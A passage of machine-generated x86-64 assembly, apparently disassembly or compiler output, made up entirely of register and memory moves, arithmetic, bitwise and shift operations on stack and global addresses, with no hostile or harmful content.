mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4478], eax
movzx eax, byte [rsp + 0x1ca]
mov rcx, qword [rsp + 0xac60]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14019d880]
mov byte [rcx], al
lea rax, [rsp + 0x1064]
mov qword [rsp + 0xc8b0], rax
mov rax, qword [rsp + 0xb750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x449c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43b0], eax
lea rax, [rsp + 0x3d1c]
mov qword [rsp + 0xc8b8], rax
movsx eax, byte [rsp + 0x1e9]
movsx ecx, byte [rsp + 0x1fd]
and eax, ecx
mov rcx, qword [rsp + 0xc490]
mov byte [rcx], al
mov rax, qword [0x14019dc48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc730]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb0f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc530]
movzx eax, word [rax]
mov word [rsp + 0x12b4], ax
mov rax, qword [rsp + 0xaab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x238], al
lea rax, [0x14019bfe0]
mov qword [rsp + 0xc8c0], rax
mov eax, dword [rsp + 0x4694]
mov ecx, dword [rsp + 0x4438]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c058], eax
mov rax, qword [rsp + 0xc098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x436c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4300], eax
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb528]
mov dword [rcx], eax
mov eax, dword [rsp + 0x497c]
mov dword [rsp + 0x4b60], eax
mov rax, qword [rsp + 0xb5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
shl eax, cl
mov rcx, qword [rsp + 0xa930]
mov byte [rcx], al
movzx eax, word [rsp + 0x12a8]
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0xb770]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb0e8]
mov qword [rsp + 0xc8c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8c8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4ae4], eax
mov eax, dword [0x14019bf8c]
mov ecx, dword [rsp + 0x43f4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4f0]
mov dword [rcx], eax
lea rax, [rsp + 0x4b38]
mov qword [rsp + 0xc8d0], rax
lea rax, [rsp + 0x4b50]
mov qword [0x14019ddf0], rax
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0x1080]
and eax, ecx
mov rcx, qword [rsp + 0xba20]
mov word [rcx], ax
lea rax, [rsp + 0x1d6]
mov qword [rsp + 0xc8d8], rax
mov rax, qword [rsp + 0xa5f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc820]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
lea rax, [rsp + 0x24a]
mov qword [rsp + 0xc8e0], rax
mov rax, qword [rsp + 0xb940]
mov ecx, dword [rsp + 0x44f8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc020]
mov dword [rcx], eax
mov eax, dword [rsp + 0x49d8]
mov ecx, dword [rsp + 0x4a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x111]
mov byte [rsp + 0x24e], al
mov rax, qword [0x14019dbf0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf04], ax
mov eax, dword [rsp + 0x4220]
mov ecx, dword [rsp + 0x43b0]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bf70], eax
mov rax, qword [rsp + 0xb998]
mov eax, dword [rax]
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0xa9a8]
mov rcx, qword [rsp + 0xad30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa718]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc5e8]
mov rcx, qword [rsp + 0xbec8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4210], eax
movzx eax, byte [rsp + 0x1d0]
mov byte [rsp + 0x24f], al
movzx eax, word [0x14019c024]
movzx ecx, word [rsp + 0xdc4]
sub eax, ecx
mov rcx, qword [rsp + 0xa750]
mov word [rcx], ax
mov rax, qword [rsp + 0xb0a8]
mov eax, dword [rax]
mov dword [rsp + 0x4b68], eax
mov rax, qword [rsp + 0xb208]
mov ecx, dword [rsp + 0x42d0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa8e8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3dd0]
mov rcx, qword [0x14019d7d0]
mov qword [rsp + 0xc8e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc8e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4924], eax
lea rax, [rsp + 0x4218]
mov qword [0x14019ddf8], rax
mov rax, qword [rsp + 0xbc48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4978]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3624], eax
movsx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0xc3b0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbf10]
mov byte [rcx], al
lea rax, [rsp + 0x1038]
mov qword [rsp + 0xc8f0], rax
mov rax, qword [rsp + 0xb418]
movzx eax, word [rax]
mov rcx, qword [0x14019dbb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1048], ax
lea rax, [rsp + 0x10d]
mov qword [rsp + 0xc8f8], rax
mov rax, qword [rsp + 0xc350]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [0x14019dc40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3460], eax
lea rax, [rsp + 0x18a]
mov qword [rsp + 0xc900], rax
mov rax, qword [rsp + 0xb390]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019dcf0]
mov word [rcx], ax
mov rax, qword [0x14019dce8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x476c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e98], eax
lea rax, [rsp + 0x45b4]
mov qword [rsp + 0xc908], rax
mov eax, dword [rsp + 0x452c]
mov ecx, dword [rsp + 0x447c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc348]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa758]
mov eax, dword [rax]
mov ecx, dword [0x14019bfc4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43d0], eax
lea rax, [rsp + 0xf64]
mov qword [rsp + 0xc910], rax
mov rax, qword [rsp + 0xc8f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc7b8]
mov byte [rcx], al
mov eax, dword [0x14019c01c]
mov dword [rsp + 0x4b6c], eax
mov rax, qword [rsp + 0xb9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x433c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x494c], eax
mov rax, qword [rsp + 0xac50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [0x14019bf80], ax
movsx eax, byte [0x140199008]
movsx ecx, byte [rsp + 0x1df]
sar eax, cl
mov byte [rsp + 0x186], al
lea rax, [rsp + 0x1fb]
mov qword [rsp + 0xc918], rax
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12ac]
or eax, ecx
mov word [rsp + 0x1048], ax
mov rax, qword [rsp + 0xbeb0]
mov eax, dword [rax]
mov dword [rsp + 0x4b70], eax
mov eax, dword [rsp + 0x4404]
mov ecx, dword [rsp + 0x4864]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb040]
mov dword [rcx], eax
mov eax, dword [0x14019bf40]
mov rcx, qword [rsp + 0xc4d0]
mov qword [rsp + 0xc920], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc920]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4288], eax
lea rax, [rsp + 0x4374]
mov qword [rsp + 0xc928], rax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xbb20]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb790]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfc4]
mov word [rsp + 0x12bc], ax
lea rax, [rsp + 0x15d]
mov qword [0x14019de00], rax
mov rax, qword [rsp + 0xae10]
mov rcx, qword [rsp + 0xac98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb7d0]
mov dword [rcx], eax
lea rax, [rsp + 0x41b8]
mov qword [rsp + 0xc930], rax
mov rax, qword [rsp + 0xa8a0]
mov ecx, dword [0x14019bf50]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42b0], eax
mov eax, dword [rsp + 0x4a48]
mov ecx, dword [rsp + 0x3ffc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4128], eax
movzx eax, byte [rsp + 0x202]
mov byte [rsp + 0x250], al
mov rax, qword [rsp + 0xc190]
movzx eax, word [rax]
movzx ecx, word [0x14019bfb0]
add eax, ecx
mov rcx, qword [rsp + 0xb5e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ec]
mov byte [rsp + 0x251], al
mov rax, qword [rsp + 0xb798]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10c0]
add eax, ecx
mov rcx, qword [rsp + 0xba08]
mov word [rcx], ax
mov rax, qword [0x14019d7f0]
mov ecx, dword [rsp + 0x4910]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c038], eax
mov eax, dword [rsp + 0x4198]
mov ecx, dword [rsp + 0x4348]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47ac], eax
movzx eax, word [rsp + 0xf04]
mov word [rsp + 0x12c0], ax
mov rax, qword [rsp + 0xb4a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x153], al
lea rax, [rsp + 0x3b60]
mov qword [rsp + 0xc938], rax
mov rax, qword [rsp + 0xbc18]
mov ecx, dword [rsp + 0x4a18]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb4a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaa50]
mov qword [rsp + 0xc940], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc940]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbcc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x475c]
mov dword [rsp + 0x4b74], eax
mov rax, qword [rsp + 0xc648]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x113c]
xor eax, ecx
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0xc408]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1cf]
or eax, ecx
mov byte [0x14019bfab], al
mov eax, dword [rsp + 0x42a4]
mov dword [rsp + 0x4b78], eax
mov eax, dword [rsp + 0x4638]
movzx ecx, al
mov eax, dword [rsp + 0x468c]
sar eax, cl
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xac30]
mov ecx, dword [rsp + 0x43d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae80]
mov ecx, dword [rsp + 0x4b4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x365c], eax
mov rax, qword [rsp + 0xc930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4904]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc170]
mov dword [rcx], eax
lea rax, [rsp + 0x1bc]
mov qword [rsp + 0xc948], rax
movsx eax, word [rsp + 0xf9c]
movsx ecx, word [rsp + 0xf74]
add eax, ecx
mov word [rsp + 0xf20], ax
movzx eax, byte [0x14019bf2a]
mov byte [rsp + 0x252], al
mov rax, qword [rsp + 0xa608]
movzx eax, word [rax]
mov word [0x14019de08], ax
mov rax, qword [rsp + 0xabe0]
mov ecx, dword [rsp + 0x46cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b20], eax
mov rax, qword [rsp + 0xc150]
mov rcx, qword [rsp + 0xb190]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0xc6d0]
movzx eax, word [rax]
mov word [rsp + 0x12c4], ax
movzx eax, byte [rsp + 0x18e]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc290]
mov byte [rcx], al
mov eax, dword [rsp + 0x41d4]
mov dword [rsp + 0x4b7c], eax
mov eax, dword [rsp + 0x42f8]
mov ecx, dword [rsp + 0x4594]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a00], eax
mov rax, qword [rsp + 0xaf80]
mov ecx, dword [rsp + 0x417c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
mov eax, dword [0x14019bf60]
mov dword [rsp + 0x4b80], eax
movzx eax, word [rsp + 0xfc0]
movzx ecx, word [rsp + 0x1024]
sub eax, ecx
mov word [0x14019c030], ax
mov rax, qword [rsp + 0xac90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc620]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc018]
mov byte [rcx], al
mov rax, qword [rsp + 0xc660]
mov eax, dword [rax]
mov dword [rsp + 0x4b84], eax
mov eax, dword [rsp + 0x42d4]
mov rcx, qword [rsp + 0xbab0]
mov qword [rsp + 0xc950], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc950]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xb188]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb3f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
or eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
mov rax, qword [0x14019dde0]
movzx eax, word [rax]
mov word [rsp + 0x12c8], ax
mov rax, qword [rsp + 0xaea0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc828]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x10d], al
lea rax, [rsp + 0x1134]
mov qword [rsp + 0xc958], rax
mov eax, dword [0x14019bfb8]
mov ecx, dword [rsp + 0x4800]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc058]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa740]
mov ecx, dword [rsp + 0x45c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019dc98]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c3c]
mov dword [rsp + 0x4b88], eax
mov rax, qword [0x14019dba8]
mov rcx, qword [rsp + 0xc678]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb288]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb000]
mov rcx, qword [rsp + 0xaef8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa9d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc040]
movzx eax, byte [rax]
mov byte [rsp + 0x253], al
mov rax, qword [0x14019d8f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf54]
and eax, ecx
mov word [rsp + 0x1150], ax
mov eax, dword [rsp + 0x4574]
mov ecx, dword [rsp + 0x3ee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a4c], eax
mov rax, qword [0x14019d7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4474]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc260]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe38]
mov rcx, qword [rsp + 0xbae8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42cc], eax
mov rax, qword [rsp + 0xb8d0]
mov rcx, qword [rsp + 0xb688]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c05c], eax
lea rax, [rsp + 0x177]
mov qword [rsp + 0xc960], rax
mov rax, qword [rsp + 0xb6d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf2c]
sub eax, ecx
mov rcx, qword [rsp + 0xa6c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1a1]
mov byte [rsp + 0x254], al
movsx eax, word [0x14019d8e0]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4018]
movzx ecx, al
mov eax, dword [rsp + 0x4994]
shl eax, cl
mov dword [rsp + 0x4b20], eax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov dword [rsp + 0x4b8c], eax
movzx eax, byte [rsp + 0x1aa]
mov rcx, qword [rsp + 0xc468]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x244], al
lea rax, [rsp + 0x103c]
mov qword [rsp + 0xc968], rax
mov eax, dword [rsp + 0x45e8]
movzx ecx, al
mov eax, dword [rsp + 0x4148]
shr eax, cl
mov dword [0x14019c060], eax
mov rax, qword [rsp + 0xc230]
mov eax, dword [rax]
mov ecx, dword [0x14019bf60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xafb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3388]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc908]
mov dword [rcx], eax
lea rax, [rsp + 0x4764]
mov qword [rsp + 0xc970], rax
movzx eax, word [0x14019bef0]
movzx ecx, word [rsp + 0x1254]
add eax, ecx
mov word [rsp + 0x1238], ax
movzx eax, byte [rsp + 0x173]
mov byte [rsp + 0x255], al
mov eax, dword [rsp + 0x4734]
mov ecx, dword [rsp + 0x463c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbb68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3cc0]
mov dword [rsp + 0x4b90], eax
mov rax, qword [rsp + 0xb5f0]
mov ecx, dword [rsp + 0x4970]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42f8], eax
mov rax, qword [rsp + 0xc2a8]
mov rcx, qword [0x14019dcb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019bff8], eax
mov eax, dword [rsp + 0x4a80]
mov ecx, dword [rsp + 0x470c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4580], eax
mov rax, qword [rsp + 0xc438]
movzx eax, word [rax]
mov word [rsp + 0x12cc], ax
mov rax, qword [rsp + 0xb710]
movsx eax, byte [rax]
mov rcx, qword [0x14019dc68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov word [rsp + 0x12d0], ax
mov rax, qword [rsp + 0xaee8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17d]
sub eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc708]
mov ecx, dword [0x14019bf74]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0xc978], rax
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac40]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x100c], ax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov rcx, qword [0x14019dc38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x14019d980]
mov byte [rcx], al
lea rax, [rsp + 0x4244]
mov qword [rsp + 0xc980], rax
mov rax, qword [rsp + 0xb648]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4a38], eax
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4224]
sar eax, cl
mov rcx, qword [rsp + 0xa6a0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4758]
mov dword [rsp + 0x4b94], eax
mov rax, qword [rsp + 0xaed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x111c]
and eax, ecx
mov word [rsp + 0x116c], ax
lea rax, [rsp + 0x200]
mov qword [rsp + 0xc988], rax
mov rax, qword [rsp + 0xc230]
mov rcx, qword [rsp + 0xbea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa950]
mov dword [rcx], eax
lea rax, [rsp + 0x4b00]
mov qword [rsp + 0xc990], rax
lea rax, [rsp + 0x1088]
mov qword [0x14019de10], rax
mov rax, qword [rsp + 0xb500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaeb8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x211], al
movzx eax, byte [rsp + 0x1b5]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22b], al
lea rax, [rsp + 0x1040]
mov qword [rsp + 0xc998], rax
mov rax, qword [rsp + 0xaa60]
mov ecx, dword [rsp + 0x47e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb048]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46bc]
mov dword [rsp + 0x4b98], eax
mov eax, dword [0x14019d920]
mov ecx, dword [rsp + 0x4440]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4554], eax
mov eax, dword [rsp + 0x4180]
mov ecx, dword [rsp + 0x4904]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3aa4], eax
lea rax, [rsp + 0x4a50]
mov qword [rsp + 0xc9a0], rax
mov rax, qword [rsp + 0xb020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18d]
add eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0xb3d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [0x14019bf6c], ax
mov rax, qword [rsp + 0xb738]
mov ecx, dword [rsp + 0x4664]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e84], eax
mov rax, qword [rsp + 0xb608]
mov rcx, qword [rsp + 0xbde0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ab8], eax
mov rax, qword [rsp + 0xbcd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc378]
mov qword [rsp + 0xc9a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc9a8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc418]
mov dword [rcx], eax
lea rax, [rsp + 0x391c]
mov qword [rsp + 0xc9b0], rax
mov rax, qword [rsp + 0xb818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x12e], al
movzx eax, word [rsp + 0x1098]
mov word [rsp + 0x12d4], ax
mov rax, qword [rsp + 0xc010]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
shl eax, cl
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0xafe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
and eax, ecx
mov rcx, qword [rsp + 0xc2f8]
mov byte [rcx], al
lea rax, [rsp + 0x44d0]
mov qword [0x14019de18], rax
mov eax, dword [rsp + 0x43a8]
mov dword [rsp + 0x4b9c], eax
movzx eax, word [rsp + 0xc80]
mov rcx, qword [rsp + 0xb178]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb9c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x249]
mov byte [rsp + 0x256], al
mov eax, dword [rsp + 0x4a9c]
mov ecx, dword [rsp + 0x41c8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb7c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov dword [rsp + 0x4ba0], eax
mov rax, qword [rsp + 0xb1a0]
mov ecx, dword [rsp + 0x4450]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4670], eax
mov rax, qword [rsp + 0xc2e0]
mov rcx, qword [rsp + 0xaaf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc1f0]
mov dword [rcx], eax
lea rax, [0x14019bf3a]
mov qword [rsp + 0xc9b8], rax
movzx eax, word [rsp + 0x1084]
movzx ecx, word [rsp + 0x11b0]
sub eax, ecx
mov word [0x14019de08], ax
mov rax, qword [rsp + 0xc768]
mov ecx, dword [rsp + 0x3bc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x484c], eax
lea rax, [rsp + 0x49d0]
mov qword [rsp + 0xc9c0], rax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [rsp + 0xba10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xbbb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x43ac]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48b8], eax
mov rax, qword [rsp + 0xc680]
mov eax, dword [rax]
mov dword [rsp + 0x4ba4], eax
movsx eax, byte [rsp + 0x21f]
movsx ecx, byte [rsp + 0x23c]
sar eax, cl
mov rcx, qword [rsp + 0xc840]
mov byte [rcx], al
movzx eax, word [rsp + 0x1234]
mov word [rsp + 0x12d8], ax
movzx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0xc638]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x22e], al
movzx eax, word [rsp + 0xf88]
mov word [0x14019de20], ax
mov rax, qword [rsp + 0xaaa0]
mov ecx, dword [rsp + 0x4964]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc488]
mov dword [rcx], eax
mov eax, dword [0x14019bf98]
mov dword [rsp + 0x4ba8], eax
mov rax, qword [rsp + 0xb390]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb418]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc338]
mov word [rcx], ax
mov rax, qword [rsp + 0xc528]
movzx eax, byte [rax]
mov byte [rsp + 0x257], al
mov rax, qword [rsp + 0xbc68]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xb6a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4504], eax
mov rax, qword [rsp + 0xb058]
mov rcx, qword [0x14019dd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3a98], eax
mov rax, qword [rsp + 0xac70]
mov ecx, dword [rsp + 0x4330]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3b60], eax
movzx eax, byte [rsp + 0x255]
movzx ecx, byte [rsp + 0x21e]
add eax, ecx
mov byte [0x14019d7b7], al
lea rax, [rsp + 0xefc]
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0xb090]
mov rcx, qword [rsp + 0xc0a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x476c], eax
lea rax, [rsp + 0x456c]
mov qword [rsp + 0xc9d0], rax
mov rax, qword [rsp + 0xb180]
movsx eax, byte [rax]
mov rcx, qword [0x14019d950]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x22f], al
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0xfdc]
sub eax, ecx
mov word [rsp + 0xc84], ax
mov rax, qword [rsp + 0xc3d0]
movzx eax, word [rax]
mov word [rsp + 0x12dc], ax
movzx eax, byte [rsp + 0x1c1]
mov rcx, qword [0x14019d818]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b4], al
lea rax, [rsp + 0x473c]
mov qword [rsp + 0xc9d8], rax
mov rax, qword [rsp + 0xac30]
mov rcx, qword [rsp + 0xaad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c064], eax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc340]
mov qword [rsp + 0xc9e0], rcx
movzx ecx, al
